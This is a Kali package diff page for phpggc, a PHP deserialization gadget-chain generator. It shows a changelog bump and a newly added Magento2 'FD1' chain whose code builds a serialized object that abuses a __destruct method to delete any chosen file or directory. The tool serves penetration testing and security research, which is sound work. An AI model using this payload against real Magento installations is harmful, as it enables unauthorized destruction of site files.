Codebase list phpggc / e02ada65-be99-4c48-ac9e-c28c079d2b29/main
New upstream release. Kali Janitor 2 years ago
3 changed file(s) with 44 addition(s) and 2 deletion(s). Raw diff Collapse all Expand all
0 phpggc (0.20220112-0kali1) UNRELEASED; urgency=low
0 phpggc (0.20220213-0kali1) UNRELEASED; urgency=low
11
22 * New upstream release.
3 * New upstream release.
34
4 -- Kali Janitor <[email protected]> Tue, 25 Jan 2022 03:30:02 -0000
5 -- Kali Janitor <[email protected]> Fri, 18 Feb 2022 00:18:36 -0000
56
67 phpggc (0.20210218-0kali1) kali-dev; urgency=medium
78
0 <?php
1
2 namespace GadgetChain\Magento2;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '*';
7 public static $vector = '__destruct';
8 public static $author = 'Arjun Shibu (twitter.com/0xsegf)';
9 public static $information = 'Deletes a given file/directory in the installation dir';
10 public static $parameters = ['file'];
11
12 public function generate(array $parameters)
13 {
14 $file = $parameters['file'];
15
16 return new \Magento\RemoteStorage\Plugin\Image($file);
17 }
18 }
0 <?php
1
2 namespace Magento\Framework\Filesystem\Driver {
3 class File {}
4 }
5
6 namespace Magento\Framework\Filesystem\Directory {
7 class Write {
8 public function __construct() {
9 $this->driver = new \Magento\Framework\Filesystem\Driver\File();
10 }
11 }
12 }
13
14 namespace Magento\RemoteStorage\Plugin {
15 class Image {
16 public function __construct($file) {
17 $this->tmpDirectoryWrite = new \Magento\Framework\Filesystem\Directory\Write();
18 $this->tmpFiles = [$file];
19 }
20 }
21 }